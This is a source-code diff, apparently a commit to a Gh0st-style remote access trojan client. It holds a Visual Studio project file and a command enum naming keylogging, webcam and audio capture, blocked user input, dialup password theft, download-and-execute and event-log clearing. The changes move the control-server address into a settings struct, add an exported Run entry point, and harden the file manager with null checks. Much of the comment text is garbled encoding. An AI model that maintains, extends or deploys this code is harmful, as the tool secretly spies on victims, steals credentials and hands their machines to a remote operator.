<PreprocessorDefinitions>ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="Audio.cpp" />
<ClCompile Include="AudioManager.cpp" />
<ClCompile Include="Buffer.cpp" />
<ClCompile Include="CaptureVideo.cpp" />
<ClCompile Include="ClientDll.cpp" />
<ClCompile Include="Common.cpp" />
<ClCompile Include="FileManager.cpp" />
<ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="KernelManager.cpp" />
<ClCompile Include="LoginServer.cpp" />
<ClCompile Include="Manager.cpp" />
<ClCompile Include="RegisterManager.cpp" />
<ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="ScreenManager.cpp" />
<ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ShellManager.cpp" />
<ClCompile Include="StdAfx.cpp" />
<ClCompile Include="SystemManager.cpp" />
<ClCompile Include="TalkManager.cpp" />
<ClCompile Include="VideoManager.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\commands.h" />
<ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" />
<ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" />
<ClInclude Include="Common.h" />
<ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" />
<ClInclude Include="IOCPClient.h" />
<ClInclude Include="KernelManager.h" />
<ClInclude Include="LoginServer.h" />
<ClInclude Include="Manager.h" />
<ClInclude Include="RegisterManager.h" />
<ClInclude Include="RegisterOperation.h" />
<ClInclude Include="resource.h" />
<ClInclude Include="ScreenManager.h" />
<ClInclude Include="ScreenSpy.h" />
<ClInclude Include="ServicesManager.h" />
<ClInclude Include="ShellManager.h" />
<ClInclude Include="StdAfx.h" />
<ClInclude Include="SystemManager.h" />
<ClInclude Include="TalkManager.h" />
<ClInclude Include="VideoCodec.h" />
<ClInclude Include="VideoManager.h" />
<ClInclude Include="zconf.h" />
<ClInclude Include="zlib.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Script.rc" />
</ItemGroup>
<ItemGroup>
<None Include="ExportFunTable.def" />
</ItemGroup>
<ItemGroup>
<Media Include="Res\msg.wav" />
</ItemGroup>
<ItemGroup>
<Image Include="Res\ghost.ico" />
<Image Include="Res\msg.ico" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@@ -12,8 +12,7 @@
#include "VideoManager.h" #include "VideoManager.h"
#include "KernelManager.h" #include "KernelManager.h"
extern char g_szServerIP[MAX_PATH]; extern CONNECT_ADDRESS g_SETTINGS;
extern unsigned short g_uPort;
HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes, HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes,
SIZE_T dwStackSize, SIZE_T dwStackSize,
@@ -31,9 +30,10 @@ HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes,
hThread = (HANDLE)CreateThread(SecurityAttributes, hThread = (HANDLE)CreateThread(SecurityAttributes,
dwStackSize,(LPTHREAD_START_ROUTINE)ThreadProc, &ThreadArgList, dwStackSize,(LPTHREAD_START_ROUTINE)ThreadProc, &ThreadArgList,
dwCreationFlags, (LPDWORD)ThreadId); dwCreationFlags, (LPDWORD)ThreadId);
if (ThreadArgList.hEvent != NULL) {
WaitForSingleObject(ThreadArgList.hEvent, INFINITE); WaitForSingleObject(ThreadArgList.hEvent, INFINITE);
CloseHandle(ThreadArgList.hEvent); CloseHandle(ThreadArgList.hEvent);
}
return hThread; return hThread;
} }
@@ -52,7 +52,7 @@ template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
{ {
ThreadInfo *pInfo = (ThreadInfo *)lParam; ThreadInfo *pInfo = (ThreadInfo *)lParam;
IOCPClient *ClientObject = pInfo->p; IOCPClient *ClientObject = pInfo->p;
if (ClientObject->ConnectServer(g_szServerIP,g_uPort)) if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
{ {
Manager m(ClientObject, n); Manager m(ClientObject, n);
ClientObject->RunEventLoop(pInfo->run); ClientObject->RunEventLoop(pInfo->run);

View File

@@ -1,126 +1,7 @@
#pragma once #pragma once
#include "IOCPClient.h" #include "IOCPClient.h"
#include "common/commands.h"
enum
{
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ʽ
TRANSFER_MODE_NORMAL = 0x00, // һ<><D2BB>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD>Ѿ<EFBFBD><D1BE>У<EFBFBD>ȡ<EFBFBD><C8A1>
TRANSFER_MODE_ADDITION, // ׷<><D7B7>
TRANSFER_MODE_ADDITION_ALL, // ȫ<><C8AB>׷<EFBFBD><D7B7>
TRANSFER_MODE_OVERWRITE, // <20><><EFBFBD><EFBFBD>
TRANSFER_MODE_OVERWRITE_ALL, // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TRANSFER_MODE_JUMP, // <20><><EFBFBD><EFBFBD>
TRANSFER_MODE_JUMP_ALL, // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TRANSFER_MODE_CANCEL, // ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_ACTIVED = 0x00, // <20><><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD><CBBF>Լ<EFBFBD><D4BC>ʼ<EEBFAA><CABC><EFBFBD><EFBFBD>
COMMAND_LIST_DRIVE, // <20>г<EFBFBD><D0B3><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
COMMAND_LIST_FILES, // <20>г<EFBFBD>Ŀ¼<C4BF>е<EFBFBD><D0B5>ļ<EFBFBD>
COMMAND_DOWN_FILES, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
COMMAND_FILE_SIZE, // <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С
COMMAND_FILE_DATA, // <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
COMMAND_EXCEPTION, // <20><><EFBFBD><EFBFBD><E4B7A2><EFBFBD><EFBFBD><ECB3A3><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
COMMAND_CONTINUE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_STOP, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ
COMMAND_DELETE_FILE, // ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
COMMAND_DELETE_DIRECTORY, // ɾ<><C9BE>Ŀ¼
COMMAND_SET_TRANSFER_MODE, // <20><><EFBFBD>ô<EFBFBD><C3B4>ʽ
COMMAND_CREATE_FOLDER, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
COMMAND_RENAME_FILE, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
COMMAND_OPEN_FILE_SHOW, // <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
COMMAND_OPEN_FILE_HIDE, // <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD>ļ<EFBFBD>
COMMAND_SCREEN_SPY, // <20><>Ļ<EFBFBD>
COMMAND_SCREEN_RESET, // <20>ı<EFBFBD><C4B1><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
COMMAND_ALGORITHM_RESET, // <20>ı<EFBFBD><C4B1>
COMMAND_SCREEN_CTRL_ALT_DEL, // <20><><EFBFBD><EFBFBD>Ctrl+Alt+Del
COMMAND_SCREEN_CONTROL, // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
COMMAND_SCREEN_BLOCK_INPUT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˼<EFBFBD><CBBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SCREEN_BLANK, // <20><><EFBFBD><EFBFBD><EFBFBD>˺<EFBFBD><CBBA><EFBFBD>
COMMAND_SCREEN_CAPTURE_LAYER, // <20><>׽<EFBFBD><D7BD>
COMMAND_SCREEN_GET_CLIPBOARD, // <20><>ȡԶ<C8A1>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SCREEN_SET_CLIPBOARD, // <20><><EFBFBD><EFBFBD>Զ<EFBFBD>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
COMMAND_WEBCAM, // <20><><EFBFBD><EFBFBD>ͷ
COMMAND_WEBCAM_ENABLECOMPRESS, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD>󾭹<EFBFBD>H263ѹ<33><D1B9>
COMMAND_WEBCAM_DISABLECOMPRESS, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>ԭʼ<D4AD><CABC><EFBFBD><EFBFBD>ģʽ
COMMAND_WEBCAM_RESIZE, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>ʣ<EFBFBD><CAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>INT<4E>͵Ŀ<CDB5><C4BF><EFBFBD>
COMMAND_NEXT, // <20><>һ<EFBFBD><D2BB>(<28><><EFBFBD>ƶ<EFBFBD><C6B6>Ѿ<EFBFBD><D1BE>򿪶Ի<F2BFAAB6><D4BB><EFBFBD>)
COMMAND_KEYBOARD, // <20><><EFBFBD>̼<EFBFBD>¼
COMMAND_KEYBOARD_OFFLINE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߼<EFBFBD><DFBC>̼<EFBFBD>¼
COMMAND_KEYBOARD_CLEAR, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>
COMMAND_AUDIO, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SYSTEM, // ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣<EFBFBD><CCA3><EFBFBD><EFBFBD><EFBFBD>....<2E><>
COMMAND_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
COMMAND_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
COMMAND_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_KILLPROCESS, // <20>رս<D8B1><D5BD><EFBFBD>
COMMAND_SHELL, // cmdshell
COMMAND_SESSION, // <20><EFBFBD><E1BBB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2>, ж<>أ<EFBFBD>
COMMAND_REMOVE, // ж<>غ<EFBFBD><D8BA><EFBFBD>
COMMAND_DOWN_EXEC, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>
COMMAND_UPDATE_SERVER, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ظ<EFBFBD><D8B8><EFBFBD>
COMMAND_CLEAN_EVENT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3>־
COMMAND_OPEN_URL_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>ҳ
COMMAND_OPEN_URL_SHOW, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
COMMAND_RENAME_REMARK, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע
COMMAND_REPLAY_HEARTBEAT, // <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SERVICES, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_REGEDIT,
COMMAND_TALK, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>֤
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
TOKEN_HEARTBEAT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_LOGIN, // <20><><EFBFBD>߰<EFBFBD>
TOKEN_DRIVE_LIST, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
TOKEN_FILE_LIST, // <20>ļ<EFBFBD><C4BC>б<EFBFBD>
TOKEN_FILE_SIZE, // <20>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʱ<EFBFBD><CAB1>
TOKEN_FILE_DATA, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
TOKEN_TRANSFER_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_DELETE_FINISH, // ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_GET_TRANSFER_MODE, // <20>õ<EFBFBD><C3B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ʽ
TOKEN_GET_FILEDATA, // Զ<>̵õ<CCB5><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
TOKEN_CREATEFOLDER_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_DATA_CONTINUE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_RENAME_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_EXCEPTION, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_BITMAPINFO, // <20><>Ļ<EFBFBD><EFBFBD><E9BFB4>BITMAPINFO
TOKEN_FIRSTSCREEN, // <20><>Ļ<EFBFBD><EFBFBD>ĵ<EFBFBD>һ<EFBFBD><D2BB>ͼ
TOKEN_NEXTSCREEN, // <20><>Ļ<EFBFBD><EFBFBD><E9BFB4><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ͼ
TOKEN_CLIPBOARD_TEXT, // <20><>Ļ<EFBFBD>鿴ʱ<E9BFB4><CAB1><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_WEBCAM_BITMAPINFO, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>BITMAPINFOHEADER
TOKEN_WEBCAM_DIB, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_AUDIO_START, // <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_AUDIO_DATA, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_KEYBOARD_START, // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC>ʼ
TOKEN_KEYBOARD_DATA, // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
TOKEN_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
TOKEN_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_SHELL_START, // Զ<><D4B6><EFBFBD>ն˿<D5B6>ʼ
TOKEN_SERVERLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
COMMAND_SERVICELIST, // ˢ<>·<EFBFBD><C2B7><EFBFBD><EFBFBD>б<EFBFBD>
COMMAND_SERVICECONFIG, // <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
TOKEN_TALK_START, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>ʼ
TOKEN_TALKCMPLT, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2><EFBFBD>ط<EFBFBD>
TOKEN_REGEDIT = 200, // ע<><D7A2><EFBFBD><EFBFBD>
COMMAND_REG_FIND, //ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ
TOKEN_REG_KEY,
TOKEN_REG_PATH,
COMMAND_BYE
};
typedef struct _THREAD_ARG_LIST typedef struct _THREAD_ARG_LIST
{ {

85
client/CursorInfo.h Normal file
View File

@@ -0,0 +1,85 @@
// CursorInfor.h: interface for the CCursorInfor class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
#define AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#define MAX_CURSOR_TYPE 16
class CCursorInfo
{
private:
LPCTSTR m_CursorResArray[MAX_CURSOR_TYPE];
HCURSOR m_CursorHandleArray[MAX_CURSOR_TYPE];
public:
CCursorInfo()
{
LPCTSTR CursorResArray[MAX_CURSOR_TYPE] =
{
IDC_APPSTARTING,
IDC_ARROW,
IDC_CROSS,
IDC_HAND,
IDC_HELP,
IDC_IBEAM,
IDC_ICON,
IDC_NO,
IDC_SIZE,
IDC_SIZEALL,
IDC_SIZENESW,
IDC_SIZENS,
IDC_SIZENWSE,
IDC_SIZEWE,
IDC_UPARROW,
IDC_WAIT
};
for (int i = 0; i < MAX_CURSOR_TYPE; ++i)
{
m_CursorResArray[i] = CursorResArray[i];
m_CursorHandleArray[i] = LoadCursor(NULL, CursorResArray[i]);
}
}
virtual ~CCursorInfo()
{
for (int i = 0; i < MAX_CURSOR_TYPE; ++i)
DestroyCursor(m_CursorHandleArray[i]);
}
int getCurrentCursorIndex()
{
CURSORINFO ci;
ci.cbSize = sizeof(CURSORINFO);
if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING)
return -1;
int i;
for (i = 0; i < MAX_CURSOR_TYPE; ++i)
{
if (ci.hCursor == m_CursorHandleArray[i])
break;
}
DestroyCursor(ci.hCursor);
int nIndex = i == MAX_CURSOR_TYPE ? -1 : i;
return nIndex;
}
HCURSOR getCursorHandle( int nIndex )
{
if (nIndex >= 0 && nIndex < MAX_CURSOR_TYPE)
return m_CursorHandleArray[nIndex];
else
return NULL;
}
};
#endif // !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)

View File

@@ -1,40 +0,0 @@
// CursorInfor.cpp: implementation of the CCursorInfor class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "CursorInfor.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CCursorInfor::CCursorInfor()
{
}
CCursorInfor::~CCursorInfor()
{
}
int CCursorInfor::GetCurrentCursorIndex()
{
CURSORINFO ci;
ci.cbSize = sizeof(CURSORINFO);
if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING)
{
return -1;
}
int iIndex = 0;
for (iIndex = 0; iIndex < MAX_CURSOR_TYPE; iIndex++)
{
break;
}
DestroyCursor(ci.hCursor);
return iIndex == MAX_CURSOR_TYPE ? -1 : iIndex;
}

View File

@@ -1,22 +0,0 @@
// CursorInfor.h: interface for the CCursorInfor class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
#define AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#define MAX_CURSOR_TYPE 16
class CCursorInfor
{
public:
CCursorInfor();
virtual ~CCursorInfor();
int GetCurrentCursorIndex();
};
#endif // !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)

View File

@@ -1,3 +1,4 @@
EXPORTS EXPORTS
TestRun TestRun
StopRun StopRun
Run

View File

@@ -26,7 +26,7 @@ CFileManager::~CFileManager()
m_UploadList.clear(); m_UploadList.clear();
} }
void CFileManager::OnReceive(LPBYTE lpBuffer, UINT nSize) VOID CFileManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
{ {
switch (lpBuffer[0]) switch (lpBuffer[0])
{ {
@@ -251,8 +251,8 @@ UINT CFileManager::SendDriveList()
unsigned __int64 HDAmount = 0; unsigned __int64 HDAmount = 0;
unsigned __int64 HDFreeSpace = 0; unsigned __int64 HDFreeSpace = 0;
unsigned long AmntMB = 0; // <20>ܴ<EFBFBD>С unsigned __int64 AmntMB = 0; // <20>ܴ<EFBFBD>С
unsigned long FreeMB = 0; // ʣ<><CAA3><EFBFBD>ռ<EFBFBD> unsigned __int64 FreeMB = 0; // ʣ<><CAA3><EFBFBD>ռ<EFBFBD>
DWORD dwOffset = 1; DWORD dwOffset = 1;
for (; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1) for (; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1)
@@ -260,7 +260,7 @@ UINT CFileManager::SendDriveList()
memset(FileSystem, 0, sizeof(FileSystem)); memset(FileSystem, 0, sizeof(FileSystem));
// <20>õ<EFBFBD><C3B5>ļ<EFBFBD>ϵͳ<CFB5><CDB3>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD>С // <20>õ<EFBFBD><C3B5>ļ<EFBFBD>ϵͳ<CFB5><CDB3>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD>С
GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH); GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH);
SHFILEINFO sfi; SHFILEINFO sfi = {};
SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
int nTypeNameLen = lstrlen(sfi.szTypeName) + 1; int nTypeNameLen = lstrlen(sfi.szTypeName) + 1;
@@ -312,6 +312,10 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
WIN32_FIND_DATA FindFileData; WIN32_FIND_DATA FindFileData;
lpList = (BYTE *)LocalAlloc(LPTR, nBufferSize); lpList = (BYTE *)LocalAlloc(LPTR, nBufferSize);
if (lpList==NULL)
{
return 0;
}
wsprintf(strPath, "%s\\*.*", lpszDirectory); wsprintf(strPath, "%s\\*.*", lpszDirectory);
hFile = FindFirstFile(strPath, &FindFileData); hFile = FindFirstFile(strPath, &FindFileData);
@@ -338,6 +342,8 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
{ {
nBufferSize += MAX_PATH * 2; nBufferSize += MAX_PATH * 2;
lpList = (BYTE *)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT|LMEM_MOVEABLE); lpList = (BYTE *)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT|LMEM_MOVEABLE);
if (lpList == NULL)
continue;
} }
pszFileName = FindFileData.cFileName; pszFileName = FindFileData.cFileName;
if (strcmp(pszFileName, ".") == 0 || strcmp(pszFileName, "..") == 0) if (strcmp(pszFileName, ".") == 0 || strcmp(pszFileName, "..") == 0)
@@ -427,6 +433,10 @@ UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD> // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
int nPacketSize = lstrlen(lpszFileName) + 10; int nPacketSize = lstrlen(lpszFileName) + 10;
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize); BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
if (bPacket==NULL)
{
return 0;
}
memset(bPacket, 0, nPacketSize); memset(bPacket, 0, nPacketSize);
bPacket[0] = TOKEN_FILE_SIZE; bPacket[0] = TOKEN_FILE_SIZE;
@@ -442,7 +452,7 @@ UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
UINT CFileManager::SendFileData(LPBYTE lpBuffer) UINT CFileManager::SendFileData(LPBYTE lpBuffer)
{ {
UINT nRet; UINT nRet = 0;
FILESIZE *pFileSize; FILESIZE *pFileSize;
char *lpFileName; char *lpFileName;
@@ -467,6 +477,8 @@ UINT CFileManager::SendFileData(LPBYTE lpBuffer)
DWORD nNumberOfBytesRead = 0; DWORD nNumberOfBytesRead = 0;
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER); LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER);
if (lpPacket == NULL)
return -1;
// Token, <20><>С<EFBFBD><D0A1>ƫ<EFBFBD>ƣ<EFBFBD><C6A3>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // Token, <20><>С<EFBFBD><D0A1>ƫ<EFBFBD>ƣ<EFBFBD><C6A3>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
lpPacket[0] = TOKEN_FILE_DATA; lpPacket[0] = TOKEN_FILE_DATA;
memcpy(lpPacket + 1, pFileSize, sizeof(FILESIZE)); memcpy(lpPacket + 1, pFileSize, sizeof(FILESIZE));
@@ -514,7 +526,6 @@ int CFileManager::SendToken(BYTE bToken)
bool CFileManager::UploadToRemote(LPBYTE lpBuffer) bool CFileManager::UploadToRemote(LPBYTE lpBuffer)
{ {
if (lpBuffer[lstrlen((char *)lpBuffer) - 1] == '\\') if (lpBuffer[lstrlen((char *)lpBuffer) - 1] == '\\')
{ {
